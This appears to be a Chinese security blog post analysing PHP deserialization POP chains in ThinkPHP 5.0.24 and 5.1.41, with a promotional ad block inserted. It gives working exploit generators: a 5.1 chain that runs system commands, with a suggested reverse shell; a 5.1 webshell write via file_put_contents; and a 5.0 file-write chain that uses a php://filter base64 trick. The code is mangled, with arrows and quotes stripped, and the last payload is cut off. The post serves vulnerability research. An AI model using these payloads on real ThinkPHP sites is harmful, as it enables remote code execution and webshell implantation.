前言
本文将总结分析ThinkPHP5.0和5.1中的反序列化利用链,一方面以备不时之需,另一方面算是对php反序列化的深入学习。
其中TP5.0的利用链会复杂很多,所以本文会先介绍TP5.1的利用链。本文主要分析的代码是ThinkPHP5.0.24和ThinkPHP5.1.41,分别是ThinkPHP5.0和5.1的最终版本
代码分析
该条pop链入口在think\process\pipes\Windows类中,利用__destruct()触发
在file_exists($filename)时,可触发__toString()魔术方法,从而可以跳入下一个文件
// thinkphp/library/think/process/pipes/Windows.phpclassWindowsextendsPipes{ private$files=[];publicfunction__destruct(){$this-close();$this-removeFiles();}privatefunctionremoveFiles(){foreach($this-filesas$filename){if(file_exists($filename)){
unlink($filename);}}$this-files=[];}}寻找__toString()的跳板找到了think\model\concern\Conversion类,其中找到了__toStringtoJson()toArray()getAttr()$closure($value,$this-data)的利用链
// thinkphp/library/think/model/concern/Conversion.phptraitConversion{ publicfunction__toString(){return$this-toJson();} publicfunctiontoJson($options=JSON_UNESCAPED_UNICODE){returnjson_encode($this-toArray(),$options);} publicfunctiontoArray(){ $hasVisible=false; $data=array_merge($this-data,$this-relation); foreach($dataas$key=$val){ ……}elseif(!isset($this-hidden[$key])!$hasVisible){$item[$key]=$this-getAttr($key);}} ……}publicfunctiongetAttr($name,$item=null){try{$value=$this-getData($name);}catch(InvalidArgumentException$e){……} $fieldName=Loader::parseName($name); if(isset($this-withAttr[$fieldName])){ $closure=$this-withAttr[$fieldName];$value=$closure($value,$this-data);} ……}
该条pop链很简单,其实主要就是涉及这两个文件,但Conversion是一个trait,不能被实例化,所以我们需要找到一个use该trait的类。然后找到了think\Model类,但这是一个抽象类也不能被实例化,我们可以寻找一个继承该类的
// thinkphp/library/think/Model.phpnamespacethink;abstractclassModelimplements\JsonSerializable,\ArrayAccess{ usemodel\concern\Conversion;
最终找到了think\model\Privot类
namespacethink\model;classPivotextendsModel
1、份很多已经买不到的绝版电子书2、30G安全大厂内部的视频资料3、份src文档4、常见安全面试题5、ctf大赛经典题目解析6、全套工具包7、应急响应笔记8、网络安全学习路线
exp构造
上面弄清了这条POP链的头尾,头是__destruct(),尾是$closure($value,$this-data),然后细心去构造一波
命令执行
该条pop链最好构造的就是命令执行,可以忽略$this-data参数,poc如下
最终执行的是$function($parameter,$this-data)
$this-data是多余的参数,在php中多余的参数会被函数忽略
?phpnamespacethink{abstractclassModel{private$withAttr=[];private$data=[];publicfunction__construct($function,$parameter){$this-data[smi1e]=$parameter;$this-withAttr[smi1e]=$function;}}}namespacethink\model{usethink\Model;classPivotextendsModel{}}namespacethink\process\pipes{usethink\model\Pivot;classWindows{private$files=[];publicfunction__construct($function,$parameter){$this-files=[newPivot($function,$parameter)];}}$function=system;$parameter=whoami;$aaa=newWindows($function,$parameter);echobase64_encode(serialize($aaa));}
其中smi1e应该是最早发现此链作者的名称,respect!利用命令执行反弹shell感觉是一个不错的利用方式
写入文件
可能我们更习惯写入webshell,使用file_putcontens将会涉及到两个参数,上面多余的this-data参数就有了作用,如下多添加一个`thisdata参数就有了作用,如下多添加一个‘this-data[‘jelly’]`的值将会被写入到1.php中
abstractclassModel{private$withAttr=[];private$data=[];publicfunction__construct(){$this-data[smi1e]=1.php;$this-data[jelly]=?phpphpinfo();?;$this-withAttr[smi1e]=file_put_contents;}}
这里有个需要注意的点,上面exp中smile要小写,在phpggc工具中该参数就大写了导致无法正常工作,因为该条pop链在执行过程中会把键名全部转换为小写后去寻找原来的键名,如果原来的键名是大写则可能找不到对应的键值。
我把该问题提交后,phpggc当天就做了修复,使用最新版phpggc应该就没有这个问题了。
ThinkPHP5.0文件写入pop链·
简述
tp5.0.x目前也有一条pop链,入口和tp5.1的一样,但构造上比较麻烦,所以这里就把tp5.0放在5.1后面了
代码分析
pop链入口
入口依然是Windows类的__destruct()函数,然后借助file_exists()触发__toString()
// thinkphp/library/think/process/pipes/Windows.phpnamespacethink\process\pipes;usethink\Process;classWindowsextendsPipes{ publicfunction__destruct(){$this-close();$this-removeFiles();} privatefunctionremoveFiles(){foreach($this-filesas$filename){if(file_exists($filename)){
unlink($filename);}}$this-files=[];}}新的跳板__call()
可以在think\Model类中找到可利用的__toString()方法
// thinkphp/library/think/Model.phpnamespacethink;abstractclassModelimplements\JsonSerializable,\ArrayAccess{ publicfunction__toString(){return$this-toJson();} publicfunctiontoJson($options=JSON_UNESCAPED_UNICODE){returnjson_encode($this-toArray(),$options);} publicfunctiontoArray(){ //代码太多,放截图中分析 $this-getAttr();} publicfunctiongetAttr($name){ //代码太多,放截图中分析}}
tp5.0的think\Model类和tp5.1中think\model\concern\Conversion类是差不多的,在tp5.1中**getAttr()**会造成$closure($value,$this-data);的任意代码执行,在tp5.0中就找不到这样的代码了
如上图,$this-$method()这种使用格式,我还差点没弄明白,这个表示调用当前类的$method方法,并不能达到执行任意函数的目的
所以tp5.0中无法利用**getAttr()方法了,回到toArray()**方法,其中有几个地方调用了其他类的方法,利用这一点,我们可以获取到一个__call()方法的跳板。怎么触发这几个方法这里先不管,我们下面先找下是否有可用的__call()跳板
其实并不只这几个地方可以触发__call(),可以深入一些函数再找找,比如我就看到一条pop链深入了上面的$this-getRelationData($modelRelation);方法,然后找到了一处可以触发__call()的地方
其实并不只这几个地方可以触发__call(),可以深入一些函数再找找,比如我就看到一条pop链深入了上面的$this-getRelationData($modelRelation);方法,然后找到了一处可以触发__call()的地方
// thinkphp/library/think/Model.phppublicfunctiontoArray(){ $value =$this-getRelationData($modelRelation);}protectedfunctiongetRelationData(Relation$modelRelation){$value=$modelRelation-getRelation();}// thinkphp/library/think/model/relation/BelongsTo.phppublicfunctiongetRelation($subRelation=,$closure=null){ // $this-query可控,设置为output类,然后通过removeWhereField触发__call() $relationModel=$this-query-removeWhereField($this-localKey)……}
文件写入利用点
可以在think\console\Output类中找到__call()的利用点,找到这样一条利用链:__call()=block()=writeln()=write()=$this-handle-write()
// thinkphp/library/think/console/Output.phpnamespacethink\console;classOutput{ publicfunction__call($method,$args){if(in_array($method,$this-styles)){array_unshift($args,$method);returncall_user_func_array([$this,block],$args);}if($this-handlemethod_exists($this-handle,$method)){returncall_user_func_array([$this-handle,$method],$args);}else{thrownewException(methodnotexists:.__CLASS__.-.$method);}} protectedfunctionblock($style,$message){$this-writeln("{$style}{$message}/$style");} publicfunctionwriteln($messages,$type=self::OUTPUT_NORMAL){$this-write($messages,true,$type);} publicfunctionwrite($messages,$newline=false,$type=self::OUTPUT_NORMAL){$this-handle-write($messages,$newline,$type);}}
最后调用的是$this-handle-write(),恰巧可以在think\session\driver\Memcache类找到可用的write()方法,然后又找到一个$this-handler-set()
// thinkphp/library/think/session/driver/Memcache.phpnamespacethink\session\driver;classMemcacheextendsSessionHandler{ publicfunctionwrite($sessID,$sessData){return$this-handler-set($this-config[session_name].$sessID,$sessData,0,$this-config[expire]);}}
恰巧又在think\cache\driver\File类找到可利用的set()方法,这里的**file_put_contents()**可以实现写入文件。这里要注意传入set()的参数value固定为true,value固定为true,expire固定为0,可以回溯看一看。所以这里写入文件的内容data并不可控。不过不要灰心,继续往下看,setTagItem()会再次调动set()方法,且传入set()的参数data并不可控。不过不要灰心,继续往下看,setTagItem()会再次调动set()方法,且传入set()的参数value将等于filename,而filename,而filename与options[‘path’]和第一次传入set()的参数$name相关,这是可控的。所以到这里,我们的pop链的尾部才算落实
// thinkphp/library/think/cache/driver/File.phpnamespacethink\cache\driver;classFileextendsDriver{ publicfunctionset($name,$value,$expire=null){ $filename=$this-getCacheKey($name,true); $data=serialize($value); $data="?php\n//".sprintf(%d,$expire)."\nexit();?\n".$data; $result=file_put_contents($filename,$data);if($result){isset($first)$this-setTagItem($filename);……}} protectedfunctiongetCacheKey($name,$auto=false){$name=md5($name);$filename=$this-options[path].$name..php;return$filename;}}// thinkphp/library/think/cache/Driver.phpabstractclassDriver{ protectedfunctionsetTagItem($name){if($this-tag){$key=tag_.md5($this-tag);$this-tag=null;if($this-has($key)){……}else{$value=$name;}$this-set($key,$value,0);}}}
但师傅们很快就发现了问题,写入文件的内容来自文件名,但我们写入shell时总会写入一些特殊的符号,而操作系统对文件名的特殊符号都有限制,所以该条链注定利用方式有限
然后就有人找到了think\cache\driver\Memcached类的set()方法,中间绕一下使其写入内容的变量和文件名的变量分开,代码有点绕,感觉自己不能通过文字说清楚,如果要分析代码还是自己调试最清楚。这里就画了一个简单的流程图梳理一下逻辑,其中pop1是上面分析的,pop2是优化后的
触发__call()
上面的分析我们把pop链的首尾都搞定了,只剩下一个问题,触发__call()这个跳板,这里需要精心构造一下
上面已经说到有4个方法可以触发__call(),但这里仔细看一下,如下代码所示的两个方法,法1$relation是通过getAttr()可以直接new实例化一个对象,如我们利用它实例化Output类,但Output类的构造函数比较有限,会导致我们无法控制Output类的一些关键属性,而我们在构造pop链代码时,是可以直接控制整个对象的属性,而new一个对象只能借助构造函数。我一开始以为通过new实例化Output类后就好利用了,忽略了这一点,不知道其他人会踩我这个坑不
而法2中modelRelation可以通过pop链代码构造一个完全可控的Output类的对象,可这里modelRelation可以通过pop链代码构造一个完全可控的Output类的对象,可这里modelRelation-getBindAttr()触发__call()时会没有参数传入,所以法2也没法利用
#法1$relation=$this-getAttr($key);$item[$key]=$relation-append($name)-toArray();functiongetAttr(){$value=new$type($value);return$value;}#法2$modelRelation=$this-$relation();$bindAttr=$modelRelation-getBindAttr();
然后还剩下两种方法可以触发__call()。为了避免此文篇幅过于冗长,详细触发__call()的方式见参考和exp自己分析即可,这里只分析其它文章没有分析到的
坑点总结
该条pop链的诞生十分曲折,我这里总结下其中的一些坑点
convert.base64-decode过滤器遇到等号报错的情况
我找到最早的pop链是利用think\session\driver\Memcache类,该条链写入的内容来自可控的文件名,但我们的文件名必须利用php://filter/过滤器/resource=文件名来绕过exit,这里的写入内容必定会有等号,会导致convert.base64-decode过滤器报错无法使用
base64编码后,等号只能在字符串末尾
所以早期该pop链便使用string.rot13过滤器,exp为?cuccucvasb();?即phpinfo(),生成的内容如下图:
在访问时一定要把文件名中的问号做url编码
该poc就有一些明显问题,windows中无法生成含有,?等字符文件名的文件,导致该poc只能在linux上使用。而且文件内容中的?cuc部分,可能会使php识别为不符合语法规则的php代码,导致报错退出执行
后面就有师傅提出了利用convert.iconv.*过滤器解决问题,具体见参考分析
最后我就找到了今年发的文章,在最后写入文件时,找到了think\cache\driver\Memcached,把文件名和内容依靠的变量分开
exp构造
最终将会执行:file_put_contents($path,$data);
其中$path最好就固定为下面所示的过滤器,且读取目录是当前目录,目的是为了让文件名固定
data是写入文件的内容,需要base64编码,这里只需要检查编码后的内容是否存在等号,尽量构造一个无等号的data是写入文件的内容,需要base64编码,这里只需要检查编码后的内容是否存在等号,尽量构造一个无等号的data
该pop链上传的文件名将会固定
?phpnamespacethink\process\pipes{usethink\model\Pivot;usethink\cache\driver\Memcached;classWindows{private$files=[];publicfunction__construct($path,$data){$this-files=[newPivot($path,$data)];}}$data=base64_encode(?phpphpinfo();?);echo"tp5.0.24writefilepopChain\n";echo"The=cannotexistinthedata,pleasecheck:".$data."\n";$path=php://filter/convert.base64-decode/resource=./;$aaa=newWindows($path,$data);echobase64_encode(serialize($aaa));echo"\n";echofilename:.md5(tag_.md5(true))..php;}namespacethink{abstractclassModel{}}namespacethink\model{usethink\Model;classPivotextendsModel{protected$append=[];protected$error;public$parent;publicfunction__construct($path,$data){$this-append[jelly]=getError;$this-error=newrelation\BelongsTo($path,$data);$this-parent=new\think\console\Output($path,$data);}}abstractclassRelation{}}namespacethink\model\relation{usethink\db\Query;usethink\model\Relation;abstractclassOneToOneextendsRelation{}classBelongsToextendsOneToOne{protected$selfRelation;protected$query;protected$bindAttr=[];publicfunction__construct($path,$data){$this-selfRelation=false;$this-query=newQuery($path,$data);$this-bindAttr=[a.$data];}}}namespacethink\db{usethink\console\Output;classQuery{protected$model;publicfunction__construct($path,$data){$this-model=newOutput($path,$data);}}}namespacethink\console{usethink\session\driver\Memcache;classOutput{protected$styles=[];private$handle;publicfunction__construct($path,$data){$this-styles=[getAttr];$this-handle=newMemcache($path,$data);}}}namespacethink\session\driver{usethink\cache\driver\File;usethink\cache\driver\Memcached;classMemcache{protected$handler=null;protected$config=[expire=,session_name=,];publicfunction__construct($path,$data){$this-handler=newMemcached($path,$data);}}}namespacethink\cache\driver{classMemcached{protected$handler;protected$tag;protected$options=[];publicfunction__construct($path,$data){$this-options=[prefix=];$this-handler=newFile($path,$data);$this-tag=true;}}}namespacethink\cache\driver{classFile{protected$options=[];protected$tag;publicfunction__construct($path,$data){$this-tag=false;$this-options=[expire=0,cache_subdir=false,prefix=,path=$path,data_